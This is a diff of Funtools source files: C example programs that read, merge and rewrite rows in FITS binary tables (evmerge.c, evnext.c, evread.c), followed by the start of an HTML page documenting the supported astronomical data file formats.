int main (int argc, char **argv)
|
||||
{
|
||||
int i, got;
|
||||
int idx;
|
||||
int tlmax;
|
||||
int ext=1;
|
||||
int total=1;
|
||||
int haveshape=0;
|
||||
char *s[3];
|
||||
char tbuf[SZ_LINE];
|
||||
Fun fun, fun2;
|
||||
Ev ebuf, ev;
|
||||
|
||||
/* exit on gio errors */
|
||||
setgerror(2);
|
||||
|
||||
/* make sure we have minimal arguments */
|
||||
if( argc < 3 )
|
||||
gerror(stderr, "usage: %s iname oname\n", argv[0]);
|
||||
|
||||
/* open a new output FITS file */
|
||||
if( !(fun2 = FunOpen(argv[2], "w", NULL)) )
|
||||
gerror(stderr, "could not FunOpen output file: %s\n", argv[2]);
|
||||
|
||||
/* process each input extension in turn */
|
||||
for(ext=0; ;ext++){
|
||||
/* get new extension name */
|
||||
sprintf(tbuf, "%s[%d]", argv[1], ext);
|
||||
/* open it -- if we cannot open it, we are done */
|
||||
if( !(fun=FunOpen(tbuf, "r", NULL)) )
|
||||
break;
|
||||
|
||||
/* make the new extension the reference handle for the output file */
|
||||
FunInfoPut(fun2, FUN_IFUN, &fun, 0);
|
||||
|
||||
/* if its not a binary table, just write it out */
|
||||
for(i=0; i<=2; i++) s[i] = NULL;
|
||||
if( !(s[0]=FunParamGets(fun, "XTENSION", 0, NULL, &got)) ||
|
||||
strcmp(s[0], "BINTABLE")){
|
||||
if( s[0] ) free(s[0]);
|
||||
FunFlush(fun2, "copy=reference");
|
||||
FunClose(fun);
|
||||
continue;
|
||||
}
|
||||
else{
|
||||
if( (s[1]=FunParamGets(fun, "EXTNAME", 0, NULL, &got)) ){
|
||||
fprintf(stdout, "processing %s", s[1]);
|
||||
if( (s[2]=FunParamGets(fun, "HDUNAME", 0, NULL, &got)) )
|
||||
fprintf(stdout, " %s", s[2]);
|
||||
fprintf(stdout, "\n");
|
||||
}
|
||||
}
|
||||
for(i=0; i<=2; i++) if( s[i] ) free(s[i]);
|
||||
|
||||
/* select columns from this new extension for merging */
|
||||
/* we have some special code to test various bugs with bpix.fits */
|
||||
if( (idx = FunColumnLookup(fun, "SHAPE", 0,
|
||||
NULL, NULL, NULL, NULL, NULL, NULL)) ){
|
||||
haveshape = 1;
|
||||
FunColumnSelect(fun, sizeof(EvRec), "merge=update",
|
||||
"SHAPE", "16A", "rw", FUN_OFFSET(Ev, shape),
|
||||
"MYCOL", "J", "w", FUN_OFFSET(Ev, mycol),
|
||||
NULL);
|
||||
}
|
||||
else{
|
||||
FunColumnSelect(fun, sizeof(EvRec), "merge=update",
|
||||
"MYCOL", "J", "w", FUN_OFFSET(Ev, mycol),
|
||||
NULL);
|
||||
}
|
||||
|
||||
/* we have some special code to test various bugs with bpix.fits */
|
||||
/* we need to increase tlmax value of the "component" column */
|
||||
if( (idx = FunColumnLookup(fun, "COMPONENT", 0,
|
||||
NULL, NULL, NULL, NULL, NULL, NULL)) ){
|
||||
if( (tlmax=FunParamGeti(fun, "TLMAX", idx, -1, &got)) && got )
|
||||
FunParamPuti(fun2, "TLMAX", idx, tlmax+100, NULL, 0);
|
||||
}
|
||||
|
||||
/* get input rows (let routine allocate the row array) */
|
||||
while( (ebuf = (Ev)FunTableRowGet(fun, NULL, MAXROW, NULL, &got)) ){
|
||||
/* process all rows */
|
||||
for(i=0; i<got; i++){
|
||||
/* point to the i'th row */
|
||||
ev = ebuf+i;
|
||||
/* make sure ascii vector is null-terminated */
|
||||
ev->shape[17] = '\0';
|
||||
/* used with bpix.ev */
|
||||
if( haveshape ){
|
||||
cluc(ev->shape);
|
||||
fprintf(stdout, "\tshape: %s\n", ev->shape);
|
||||
}
|
||||
ev->mycol = total++;
|
||||
}
|
||||
/* write out this batch of rows, along with the new column */
|
||||
FunTableRowPut(fun2, (char *)ebuf, got, 0, NULL);
|
||||
/* write out one more record with special marker */
|
||||
ev = ebuf;
|
||||
strcpy(ev->shape, "hexagon ");
|
||||
ev->mycol = -1;
|
||||
FunTableRowPut(fun2, (char *)ev, 1, 0, NULL);
|
||||
/* free row data */
|
||||
if( ebuf ) free(ebuf);
|
||||
}
|
||||
|
||||
/* flush output extension (write padding, etc.) */
|
||||
FunFlush(fun2, NULL);
|
||||
/* close the input extension */
|
||||
FunClose(fun);
|
||||
}
|
||||
|
||||
/* all done -- close output */
|
||||
FunClose(fun2);
|
||||
return(0);
|
||||
}
|
|
@ -0,0 +1,77 @@
|
|||
/*
|
||||
*
|
||||
* evmerge.c -- example program for merging user values into a table file
|
||||
*
|
||||
*/
|
||||
#include <funtools.h>
|
||||
#include <word.h>
|
||||
|
||||
#define MAXROW 8192
|
||||
|
||||
typedef struct evstruct{
|
||||
double time;
|
||||
int time2;
|
||||
} *Ev, EvRec;
|
||||
|
||||
int main (int argc, char **argv)
|
||||
{
|
||||
int i, got;
|
||||
char tbuf[SZ_LINE];
|
||||
Fun fun, fun2;
|
||||
Ev ebuf, ev;
|
||||
|
||||
/* exit on gio errors */
|
||||
setgerror(2);
|
||||
|
||||
/* make sure we have minimal arguments */
|
||||
if( argc < 4 )
|
||||
gerror(stderr, "usage: %s iname oname mergetype [columns]\n", argv[0]);
|
||||
|
||||
/* open input file */
|
||||
if( !(fun = FunOpen(argv[1], "rc", NULL)) )
|
||||
gerror(stderr, "could not FunOpen input file: %s\n", argv[1]);
|
||||
|
||||
/* open the output FITS image, inheriting params from input */
|
||||
if( !(fun2 = FunOpen(argv[2], "w", fun)) )
|
||||
gerror(stderr, "could not FunOpen output file: %s\n", argv[2]);
|
||||
|
||||
/* "merge=[type]" merges original input columns with new ones, where type is:
|
||||
* update -- add new columns, update value of existing ones (same data type)
|
||||
* replace -- add new columns, replace data type and value of existing ones
|
||||
* append -- only add new columns, do not "replace" or "update" existing ones
|
||||
* If tbuf argument is NULL, no merging is performed -- only user-specified
|
||||
* columns are output.
|
||||
*/
|
||||
if( isfalse(argv[3]) )
|
||||
*tbuf = '\0';
|
||||
else
|
||||
sprintf(tbuf, "merge=%s", argv[3]);
|
||||
FunColumnSelect(fun, sizeof(EvRec), tbuf,
|
||||
"time", "D", "rw", FUN_OFFSET(Ev, time),
|
||||
"time2", "J", "w", FUN_OFFSET(Ev, time2),
|
||||
NULL);
|
||||
|
||||
/* activate specified columns -- these will be written to the output file */
|
||||
if( argc >= 5 )
|
||||
FunColumnActivate(fun, argv[4], NULL);
|
||||
|
||||
/* get rows -- let routine allocate the row array */
|
||||
while( (ebuf = (Ev)FunTableRowGet(fun, NULL, MAXROW, NULL, &got)) ){
|
||||
/* process all rows */
|
||||
for(i=0; i<got; i++){
|
||||
/* point to the i'th row */
|
||||
ev = ebuf+i;
|
||||
ev->time2 = (int)(ev->time+.5);
|
||||
ev->time = -(ev->time/10.0);
|
||||
}
|
||||
/* write out this batch of rows with the new column */
|
||||
FunTableRowPut(fun2, (char *)ebuf, got, 0, NULL);
|
||||
/* free row data */
|
||||
if( ebuf ) free(ebuf);
|
||||
}
|
||||
|
||||
/* clean up -- close output before input to perform flush automatically */
|
||||
FunClose(fun2);
|
||||
FunClose(fun);
|
||||
return(0);
|
||||
}
|
|
@ -0,0 +1,116 @@
|
|||
/*
|
||||
*
|
||||
* evnext.c -- example program for changing the time of an row to have
|
||||
* the value from the next row
|
||||
*
|
||||
*/
|
||||
|
||||
#include <funtools.h>
|
||||
|
||||
#define MAXROW 100
|
||||
|
||||
typedef struct evstruct{
|
||||
double time;
|
||||
} *Ev, EvRec;
|
||||
|
||||
#ifdef ANSI_FUNC
|
||||
int
|
||||
main (int argc, char **argv)
|
||||
#else
|
||||
main(argc, argv)
|
||||
int argc;
|
||||
char **argv;
|
||||
#endif
|
||||
{
|
||||
int i;
|
||||
int got, ogot;
|
||||
char *oraw;
|
||||
char *nraw;
|
||||
char *null=NULL;
|
||||
Ev ebuf, oebuf=NULL;
|
||||
Ev ev, nev, oev;
|
||||
Fun fun, fun2;
|
||||
|
||||
/* exit on gio errors */
|
||||
setgerror(2);
|
||||
|
||||
/* make sure we have minimal arguments */
|
||||
if( argc < 3 )
|
||||
gerror(stderr, "usage: %s iname oname [columns]\n", argv[0]);
|
||||
|
||||
/* open file */
|
||||
if( !(fun = FunOpen(argv[1], "r", NULL)) )
|
||||
gerror(stderr, "could not FunOpen %s\n", argv[1]);
|
||||
|
||||
/* open the output FITS image, inheriting params from input */
|
||||
if( !(fun2 = FunOpen(argv[2], "w", fun)) )
|
||||
gerror(stderr, "could not FunOpen output file: %s\n", argv[2]);
|
||||
|
||||
/* specify columns we want */
|
||||
got = FunColumnSelect(fun, sizeof(EvRec), "merge=update",
|
||||
"time", "1D", "rw", FUN_OFFSET(Ev, time),
|
||||
NULL);
|
||||
/* activate specified columns -- these will be written to the output file */
|
||||
if( argc >= 4 )
|
||||
FunColumnActivate(fun, argv[3], NULL);
|
||||
|
||||
/* get rows */
|
||||
while( (ebuf = (Ev)FunTableRowGet(fun, NULL, MAXROW, NULL, &got)) ){
|
||||
/* process the last row from previous batch, if we have it */
|
||||
if( oebuf ){
|
||||
/* this is the old array of rows -- we point to the last one */
|
||||
oev = oebuf+(ogot-1);
|
||||
/* this is the new array of rows -- we point to the first one */
|
||||
ev = ebuf;
|
||||
/* change time value of old row to new row's value */
|
||||
oev->time = ev->time;
|
||||
/* now we have to write out this last row */
|
||||
/* first, save pointer to the new raw data */
|
||||
FunInfoGet(fun, FUN_RAWBUF, &nraw);
|
||||
/* put back old pointer so we merge it with last row */
|
||||
FunInfoPut(fun, FUN_RAWBUF, &oraw);
|
||||
/* write out last row merging with its raw data */
|
||||
/* (its arg 4 that tells funtools to merge with the last raw row) */
|
||||
FunTableRowPut(fun2, oebuf, 1, ogot-1, NULL);
|
||||
/* free up old raw data */
|
||||
if( oraw ) free(oraw);
|
||||
/* free up old user data */
|
||||
if( oebuf ) free(oebuf);
|
||||
/* finally, put back new raw data pointer, so we can process new batch */
|
||||
FunInfoPut(fun, FUN_RAWBUF, &nraw);
|
||||
}
|
||||
/* process the got-1 rows by replacing the time with time from
|
||||
the succeeding row */
|
||||
for(i=0; i<(got-1); i++){
|
||||
/* point to the i'th row */
|
||||
ev = ebuf+i;
|
||||
nev = ebuf+(i+1);
|
||||
ev->time = nev->time;
|
||||
}
|
||||
/* if we processed at least one row this time ... */
|
||||
if( got > 1 ){
|
||||
/* write out got-1 rows with the raw columns */
|
||||
FunTableRowPut(fun2, (char *)ebuf, (got-1), 0, NULL);
|
||||
}
|
||||
/* if we have a "last" row to process next time ... */
|
||||
if( got ){
|
||||
/* save the user row for when we have the next batch */
|
||||
oebuf = ebuf;
|
||||
/* save pointer to raw data */
|
||||
FunInfoGet(fun, FUN_RAWBUF, &oraw);
|
||||
/* null out rawbuf pointer so Funtools does not free it automatically */
|
||||
FunInfoPut(fun, FUN_RAWBUF, &null);
|
||||
/* save old value of got */
|
||||
ogot = got;
|
||||
}
|
||||
}
|
||||
|
||||
/* clean up last saved batch */
|
||||
if( oraw ) free(oraw);
|
||||
if( oebuf ) free(oebuf);
|
||||
|
||||
/* close and return */
|
||||
FunClose(fun2);
|
||||
FunClose(fun);
|
||||
return(0);
|
||||
}
|
|
@ -0,0 +1,304 @@
|
|||
/*
|
||||
*
|
||||
* evread.c -- example program for reading rows in different ways
|
||||
*
|
||||
*/
|
||||
|
||||
#include <funtools.h>
|
||||
|
||||
#define MAXROW 10000
|
||||
|
||||
extern char *optarg;
|
||||
extern int optind;
|
||||
|
||||
/* single event (used in array of structs) */
|
||||
typedef struct evstruct{
|
||||
short region;
|
||||
double x, y;
|
||||
int pi, pha;
|
||||
double time;
|
||||
double dx, dy;
|
||||
} *Ev, EvRec;
|
||||
|
||||
/* arrays of columns (used in struct of arrays) */
|
||||
typedef struct aevstruct{
|
||||
short region[MAXROW];
|
||||
double x[MAXROW], y[MAXROW];
|
||||
int pi[MAXROW], pha[MAXROW];
|
||||
double time[MAXROW];
|
||||
double dx[MAXROW], dy[MAXROW];
|
||||
} *AEv, AEvRec;
|
||||
|
||||
/* pointers to arrays of columns (used in struct of arrays) */
|
||||
typedef struct pevstruct{
|
||||
short *region;
|
||||
double *x, *y;
|
||||
int *pi, *pha;
|
||||
double *time;
|
||||
double *dx, *dy;
|
||||
} *PEv, PEvRec;
|
||||
|
||||
#ifdef ANSI_FUNC
|
||||
int
|
||||
main (int argc, char **argv)
|
||||
#else
|
||||
main(argc, argv)
|
||||
int argc;
|
||||
char **argv;
|
||||
#endif
|
||||
{
|
||||
int i;
|
||||
int c;
|
||||
int got;
|
||||
int put;
|
||||
int args;
|
||||
int doev=0;
|
||||
int doualloc=0;
|
||||
char *mode="r";
|
||||
char *iname;
|
||||
char *oname=NULL;
|
||||
char *params=NULL;
|
||||
Fun fun=NULL;
|
||||
Fun ofun=NULL;
|
||||
void *buf=NULL;
|
||||
Ev ev, ebuf=NULL;
|
||||
AEv aev, abuf=NULL;
|
||||
PEv pev, pbuf=NULL;
|
||||
|
||||
/* process switch arguments */
|
||||
while ((c = getopt(argc, argv, "aepuw:")) != -1){
|
||||
switch(c){
|
||||
case 'a':
|
||||
doev = 1;
|
||||
params = "org=soa";
|
||||
break;
|
||||
case 'e':
|
||||
doev = 0;
|
||||
params = "org=aos";
|
||||
break;
|
||||
case 'f':
|
||||
doev = 3;
|
||||
params = "org=aos";
|
||||
break;
|
||||
case 'p':
|
||||
doev = 2;
|
||||
params = "org=soa";
|
||||
break;
|
||||
case 'u':
|
||||
doualloc = 1;
|
||||
break;
|
||||
case 'w':
|
||||
oname = optarg;
|
||||
mode = "rw";
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
/* check for required arguments */
|
||||
args = argc - optind;
|
||||
if( args == 0 )
|
||||
iname = "test.ev[EVENTS]";
|
||||
else
|
||||
iname = argv[optind];
|
||||
|
||||
/* open input file */
|
||||
if( !(fun = FunOpen(iname, "r", NULL)) ){
|
||||
gerror(stderr, "could not FunOpen %s\n", iname);
|
||||
exit(1);
|
||||
}
|
||||
|
||||
/* open output file, if necessary */
|
||||
if( oname ){
|
||||
if( !(ofun = FunOpen(oname, "w", fun)) ){
|
||||
gerror(stderr, "could not FunOpen outout %s\n", oname);
|
||||
exit(1);
|
||||
}
|
||||
}
|
||||
|
||||
/* specify columns we want */
|
||||
switch(doev){
|
||||
/* array of structs */
|
||||
case 0:
|
||||
got = FunColumnSelect(fun, sizeof(EvRec), params,
|
||||
"$region", "I", mode, FUN_OFFSET(Ev, region),
|
||||
"x", "D:10:10", mode, FUN_OFFSET(Ev, x),
|
||||
"y", "D:10:10", mode, FUN_OFFSET(Ev, y),
|
||||
"dx", "D:10:10", mode, FUN_OFFSET(Ev, dx),
|
||||
"dy", "D:10:10", mode, FUN_OFFSET(Ev, dy),
|
||||
"pi", "J", mode, FUN_OFFSET(Ev, pi),
|
||||
"pha", "J", mode, FUN_OFFSET(Ev, pha),
|
||||
"time", "1D", mode, FUN_OFFSET(Ev, time),
|
||||
NULL);
|
||||
if( doualloc ){
|
||||
ebuf = calloc(MAXROW, sizeof(EvRec));
|
||||
buf = ebuf;
|
||||
}
|
||||
break;
|
||||
/* struct of arrays */
|
||||
case 1:
|
||||
got = FunColumnSelect(fun, sizeof(AEvRec), params,
|
||||
"$region", "I", mode, FUN_OFFSET(AEv, region),
|
||||
"x", "D:10:10", mode, FUN_OFFSET(AEv, x),
|
||||
"y", "D:10:10", mode, FUN_OFFSET(AEv, y),
|
||||
"dx", "D:10:10", mode, FUN_OFFSET(AEv, dx),
|
||||
"dy", "D:10:10", mode, FUN_OFFSET(AEv, dy),
|
||||
"pi", "J", mode, FUN_OFFSET(AEv, pi),
|
||||
"pha", "J", mode, FUN_OFFSET(AEv, pha),
|
||||
"time", "1D", mode, FUN_OFFSET(AEv, time),
|
||||
NULL);
|
||||
if( doualloc ){
|
||||
abuf = calloc(1, sizeof(AEvRec));
|
||||
buf = abuf;
|
||||
}
|
||||
break;
|
||||
/* struct of pointers */
|
||||
case 2:
|
||||
got = FunColumnSelect(fun, sizeof(PEvRec), params,
|
||||
"$region", "@I", mode, FUN_OFFSET(PEv, region),
|
||||
"x", "@D:10:10", mode, FUN_OFFSET(PEv, x),
|
||||
"y", "@D:10:10", mode, FUN_OFFSET(PEv, y),
|
||||
"dx", "@D:10:10", mode, FUN_OFFSET(PEv, dx),
|
||||
"dy", "@D:10:10", mode, FUN_OFFSET(PEv, dy),
|
||||
"pi", "@J", mode, FUN_OFFSET(PEv, pi),
|
||||
"pha", "@J", mode, FUN_OFFSET(PEv, pha),
|
||||
"time", "@1D", mode, FUN_OFFSET(PEv, time),
|
||||
NULL);
|
||||
if( doualloc ){
|
||||
pbuf = calloc(1, sizeof(PEvRec));
|
||||
pbuf->region = calloc(MAXROW, sizeof(short));
|
||||
pbuf->x = calloc(MAXROW, sizeof(double));
|
||||
pbuf->y = calloc(MAXROW, sizeof(double));
|
||||
pbuf->pi = calloc(MAXROW, sizeof(int));
|
||||
pbuf->pha = calloc(MAXROW, sizeof(int));
|
||||
pbuf->time = calloc(MAXROW, sizeof(double));
|
||||
pbuf->dx = calloc(MAXROW, sizeof(double));
|
||||
pbuf->dy = calloc(MAXROW, sizeof(double));
|
||||
buf = pbuf;
|
||||
}
|
||||
break;
|
||||
/* array of structs containing pointers */
|
||||
case 3:
|
||||
got = FunColumnSelect(fun, sizeof(PEvRec), params,
|
||||
"$region", "@I", mode, FUN_OFFSET(PEv, region),
|
||||
"x", "@D:10:10", mode, FUN_OFFSET(PEv, x),
|
||||
"y", "@D:10:10", mode, FUN_OFFSET(PEv, y),
|
||||
"dx", "@D:10:10", mode, FUN_OFFSET(PEv, dx),
|
||||
"dy", "@D:10:10", mode, FUN_OFFSET(PEv, dy),
|
||||
"pi", "@J", mode, FUN_OFFSET(PEv, pi),
|
||||
"pha", "@J", mode, FUN_OFFSET(PEv, pha),
|
||||
"time", "@1D", mode, FUN_OFFSET(PEv, time),
|
||||
NULL);
|
||||
if( doualloc ){
|
||||
pbuf = calloc(1, sizeof(PEvRec));
|
||||
pbuf->region = calloc(1, sizeof(short));
|
||||
pbuf->x = calloc(1, sizeof(double));
|
||||
pbuf->y = calloc(1, sizeof(double));
|
||||
pbuf->pi = calloc(1, sizeof(int));
|
||||
pbuf->pha = calloc(1, sizeof(int));
|
||||
pbuf->time = calloc(1, sizeof(double));
|
||||
pbuf->dx = calloc(1, sizeof(double));
|
||||
pbuf->dy = calloc(1, sizeof(double));
|
||||
buf = pbuf;
|
||||
}
|
||||
break;
|
||||
default:
|
||||
gerror(stderr, "unknown params value: %d\n", doev);
|
||||
break;
|
||||
}
|
||||
|
||||
/* get rows */
|
||||
while( (buf = (void *)FunTableRowGet(fun, buf, MAXROW, NULL, &got)) ){
|
||||
/* output if necessary */
|
||||
if( ofun ){
|
||||
if( (put=FunTableRowPut(ofun, buf, got, 0, NULL)) != got ){
|
||||
gerror(stderr, "expected to write %d rows; only wrote %d\n",
|
||||
got, put);
|
||||
}
|
||||
}
|
||||
/* and display */
|
||||
switch(doev){
|
||||
case 0:
|
||||
for(i=0; i<got; i++){
|
||||
ev = (Ev)buf+i;
|
||||
fprintf(stdout, "%d\t%.2f\t%.2f\t%d\t%d\t%.4f\t%.4f\t%21.8f\n",
|
||||
(int)ev->region,
|
||||
ev->x, ev->y,
|
||||
ev->pi, ev->pha,
|
||||
ev->dx, ev->dy,
|
||||
ev->time);
|
||||
fflush(stdout);
|
||||
}
|
||||
break;
|
||||
case 1:
|
||||
aev = (AEv)buf;
|
||||
for(i=0; i<got; i++){
|
||||
fprintf(stdout, "%d\t%.2f\t%.2f\t%d\t%d\t%.4f\t%.4f\t%21.8f\n",
|
||||
(int)aev->region[i],
|
||||
aev->x[i], aev->y[i],
|
||||
aev->pi[i], aev->pha[i],
|
||||
aev->dx[i], aev->dy[i],
|
||||
aev->time[i]);
|
||||
fflush(stdout);
|
||||
}
|
||||
break;
|
||||
case 2:
|
||||
pev = (PEv)buf;
|
||||
for(i=0; i<got; i++){
|
||||
fprintf(stdout, "%d\t%.2f\t%.2f\t%d\t%d\t%.4f\t%.4f\t%21.8f\n",
|
||||
(int)pev->region[i],
|
||||
pev->x[i], pev->y[i],
|
||||
pev->pi[i], pev->pha[i],
|
||||
pev->dx[i], pev->dy[i],
|
||||
pev->time[i]);
|
||||
fflush(stdout);
|
||||
}
|
||||
break;
|
||||
case 3:
|
||||
for(i=0; i<got; i++){
|
||||
pev = (PEv)buf+i;
|
||||
fprintf(stdout, "%d\t%.2f\t%.2f\t%d\t%d\t%.4f\t%.4f\t%21.8f\n",
|
||||
(int)pev->region[0],
|
||||
pev->x[0], pev->y[0],
|
||||
pev->pi[0], pev->pha[0],
|
||||
pev->dx[0], pev->dy[0],
|
||||
pev->time[0]);
|
||||
fflush(stdout);
|
||||
}
|
||||
break;
|
||||
default:
|
||||
gerror(stderr, "unknown params value: %d\n", doev);
|
||||
break;
|
||||
}
|
||||
/* if funtools did allocation, free it now */
|
||||
if( !doualloc ){
|
||||
if( buf ) xfree(buf);
|
||||
buf = NULL;
|
||||
}
|
||||
}
|
||||
|
||||
/* clean up */
|
||||
if( doualloc ){
|
||||
switch(doev){
|
||||
case 0:
|
||||
if( ebuf ) xfree(ebuf);
|
||||
break;
|
||||
case 1:
|
||||
if( abuf ) xfree(abuf);
|
||||
break;
|
||||
case 2:
|
||||
if( pbuf->region ) xfree(pbuf->region);
|
||||
if( pbuf->x ) xfree(pbuf->x);
|
||||
if( pbuf->y ) xfree(pbuf->y);
|
||||
if( pbuf->pi ) xfree(pbuf->pi);
|
||||
if( pbuf->pha ) xfree(pbuf->pha);
|
||||
if( pbuf->time ) xfree(pbuf->time);
|
||||
if( pbuf->dx ) xfree(pbuf->dx);
|
||||
if( pbuf->dy ) xfree(pbuf->dy);
|
||||
if( pbuf ) xfree(pbuf);
|
||||
break;
|
||||
}
|
||||
}
|
||||
if( ofun ) FunClose(ofun);
|
||||
FunClose(fun);
|
||||
return(0);
|
||||
}
|
|
@ -0,0 +1,627 @@
|
|||
<!-- =defdoc funfiles funfiles n -->
|
||||
<HTML>
|
||||
<HEAD>
|
||||
<TITLE>Funtools Data Files</TITLE>
|
||||
</HEAD>
|
||||
<BODY>
|
||||
|
||||
<!-- =section funfiles NAME -->
|
||||
<H2><A NAME="files">FunFiles: Funtools Data Files</A></H2>
|
||||
|
||||
<!-- =section funfiles SYNOPSIS -->
|
||||
<H2>Summary</H2>
|
||||
This document describes the data file formats (FITS, array, raw
|
||||
events) as well as the file types (gzip, socket, etc.) supported
|
||||
by Funtools.
|
||||
|
||||
<!-- =section funfiles DESCRIPTION -->
|
||||
<H2>Description</H2>
|
||||
<P>
|
||||
Funtools supports FITS images and binary tables, and binary files
|
||||
containing array (homogeneous) data or event (heterogeneous) data.
|
||||
IRAF-style brackets are appended to the filename to specify various
|
||||
kinds of information needed to characterize these data:
|
||||
<PRE>
|
||||
file[ext|ind|ARRAY()|EVENTS(),section][filters]
|
||||
or
|
||||
file[ext|ind|ARRAY()|EVENTS(),section,filters]
|
||||
</PRE>
|
||||
where:
|
||||
<UL>
|
||||
<LI> <B>file</B> is the Funtools file name
|
||||
<LI> <B>ext</B> is the FITS extension name
|
||||
<LI> <B>ind</B> is the FITS extension number
|
||||
<LI> <B>ARRAY()</B> is an array specification
|
||||
<LI> <B>EVENTS()</B> is an event specification
|
||||
<LI> <B>section</B> is the image section specification
|
||||
<LI> <B>filters</B> are spatial region and table (row) filters
|
||||
</UL>
|
||||
|
||||
<H2><A NAME="formats">Supported Data Formats</A></H2>
|
||||
<P>
|
||||
Funtools programs (and the underlying libraries) support the
|
||||
following data file formats:
|
||||
<UL>
|
||||
<LI> FITS images (and image extensions)
|
||||
<LI> FITS binary tables
|
||||
<LI> binary files containing an array of homogeneous data
|
||||
<LI> binary files containing events, i.e. records of heterogeneous data
|
||||
<LI> column-based text files, which are documented <A HREF="./text.html">here</A>
|
||||
<LI> non-disk files and lists of files
|
||||
</UL>
|
||||
Information needed to identify and characterize
|
||||
the event or image data can be specified on the command line
|
||||
using IRAF-style bracket notation appended to the filename:
|
||||
<PRE>
|
||||
foo.fits # open FITS default extension
|
||||
image.fits[3] # open FITS extension #3
|
||||
events.fits[EVENTS] # open EVENTS extension
|
||||
array.file[ARRAY(s1024)] # open 1024x1024 short array
|
||||
events.file[EVENTS(x:1024,y:1024...)] # open non-FITS event list
|
||||
</PRE>
|
||||
Note that in many Unix shells (e.g., csh and tcsh), filenames must
|
||||
be enclosed in quotes to protect the brackets from shell processing.
|
||||
|
||||
<H2><A NAME="fits">FITS Images and Binary Tables</A></H2>
|
||||
<P>
|
||||
When <A HREF="./library.html#funopen">FunOpen()</A> opens a FITS file
|
||||
without a bracket specifier, the default behavior is to look for a
|
||||
valid image in the primary HDU. In the absence of a primary image,
|
||||
Funtools will try to open an extension named either <B>EVENTS</B> or
|
||||
<B>STDEVT</B>, if one of these exists. This default behavior supports
|
||||
both FITS image processing and standard X-ray event list processing
|
||||
(which, after all, is what we at SAO/HEAD do).
|
||||
|
||||
<P>
|
||||
In order to open a FITS binary table or image extension explicitly, it
|
||||
is necessary to specify either the extension name or the extension
|
||||
number in brackets:
|
||||
<PRE>
|
||||
foo.fits[1] # open extension #1: the primary HDU
|
||||
foo.fits[3] # open extension #3 of a FITS file
|
||||
foo.fits[GTI] # open GTI extension of a FITS file
|
||||
</PRE>
|
||||
The ext argument specifies the name of the FITS extension (i.e. the
|
||||
value of the EXTENSION header parameter in a FITS extension), while
|
||||
the index specifies the value of the FITS EXTVER header parameter.
|
||||
Following FITS conventions, extension numbers start at 1.
|
||||
|
||||
<P>
|
||||
When a FITS data file is opened for reading using
|
||||
<A HREF="./library.html#funopen">FunOpen()</A>, the specified extension
|
||||
is automatically located and is used to initialize the Funtools internal
|
||||
data structures.
|
||||
|
||||
<H2><A NAME="events">Non-FITS Raw Event Files</A></H2>
|
||||
|
||||
In addition to FITS tables, Funtools programs and libraries can operate
|
||||
on non-FITS files containing heterogeneous event records. To specify
|
||||
such an event file, use:
|
||||
|
||||
<UL>
|
||||
<LI> file[EVENTS(event-spec)]
|
||||
<LI> file[EVENTS()]
|
||||
</UL>
|
||||
where <B>event-spec</B> is a string that specified the names, data
|
||||
types, and optional image dimensions for each element of the event
|
||||
record:
|
||||
<UL>
|
||||
<LI> [name]:[n][type]:[(lodim:)hidim]
|
||||
</UL>
|
||||
|
||||
<P>
|
||||
Data types follow standard conventions for FITS binary tables, but include
|
||||
two extra unsigned types ('U' and 'V'):
|
||||
<UL>
|
||||
<LI> <B>B</B> -- unsigned 8-bit char
|
||||
<LI> <B>I</B> -- signed 16-bit int
|
||||
<LI> <B>J</B> -- signed 32-bit int
|
||||
<LI> <B>K</B> -- signed 64-bit int
|
||||
<LI> <B>E</B> -- 32-bit float
|
||||
<LI> <B>D</B> -- 64-bit float
|
||||
<LI> <B>U</B> -- unsigned 16-bit int
|
||||
<LI> <B>V</B> -- unsigned 32-bit int
|
||||
</UL>
|
||||
An optional integer value <B>n</B> can be prefixed to the type to indicate
|
||||
that the element is an array of n values. For example:
|
||||
<PRE>
|
||||
foo.fits[EVENTS(x:I,y:I,status:4J)]
|
||||
</PRE>
|
||||
defines x and y as 16-bit ints and status as an array of 4 32-bit ints.
|
||||
|
||||
<P>
|
||||
Furthermore, image dimensions can be attached to the event specification
|
||||
in order to tell Funtools how to bin the events into an image. They
|
||||
follow the conventions for the FITS TLMIN/TLMAX keywords. If the low
|
||||
image dimension is not specified, it defaults to 1. Thus:
|
||||
|
||||
<UL>
|
||||
<LI> RAWX:J:1:100
|
||||
<LI> RAWX:J:100
|
||||
</UL>
|
||||
both specify that the dimension of this column runs from 1 to 100.
|
||||
|
||||
<P>
|
||||
NB: it is required that all padding be specified in the record
|
||||
definition. Thus, when writing out whole C structs instead of
|
||||
individual record elements, great care must be taken to include
|
||||
the compiler-added padding in the event definition.
|
||||
|
||||
<P>
|
||||
For example, suppose a FITS binary table has the following set of column
|
||||
definitions:
|
||||
<PRE>
|
||||
TTYPE1 = 'X ' / Label for field
|
||||
TFORM1 = '1I ' / Data type for field
|
||||
TLMIN1 = 1 / Min. axis value
|
||||
TLMAX1 = 10 / Max. axis value
|
||||
TTYPE2 = 'Y ' / Label for field
|
||||
TFORM2 = '1I ' / Data type for field
|
||||
TLMIN2 = 2 / Min. axis value
|
||||
TLMAX2 = 11 / Max. axis value
|
||||
TTYPE3 = 'PHA ' / Label for field
|
||||
TFORM3 = '1I ' / Data type for field
|
||||
TTYPE4 = 'PI ' / Label for field
|
||||
TFORM4 = '1J ' / Data type for field
|
||||
TTYPE5 = 'TIME ' / Label for field
|
||||
TFORM5 = '1D ' / Data type for field
|
||||
TTYPE6 = 'DX ' / Label for field
|
||||
TFORM6 = '1E ' / Data type for field
|
||||
TLMIN6 = 1 / Min. axis value
|
||||
TLMAX6 = 10 / Max. axis value
|
||||
TTYPE7 = 'DY ' / Label for field
|
||||
TFORM7 = '1E ' / Data type for field
|
||||
TLMIN7 = 3 / Min. axis value
|
||||
TLMAX7 = 12 / Max. axis value
|
||||
</PRE>
|
||||
|
||||
An raw event file containing these same data would have the event
|
||||
specification:
|
||||
<PRE>
|
||||
EVENTS(X:I:10,Y:I:2:11,PHA:I,PI:J,TIME:D,DX:E:10,DY:E:3:12)
|
||||
</PRE>
|
||||
|
||||
<P>
|
||||
If no event specification string is included within the EVENTS() operator,
|
||||
then the event specification is taken from the <B>EVENTS</B> environment
|
||||
variable:
|
||||
<PRE>
|
||||
setenv EVENTS "X:I:10,Y:I:10,PHA:I,PI:J,TIME:D,DX:E:10,DY:E:10"
|
||||
</PRE>
|
||||
|
||||
<P>
|
||||
In addition to knowing the data structure, it is necessary to know the
|
||||
<EM>endian</EM> ordering of the data, i.e., whether or not the data is
|
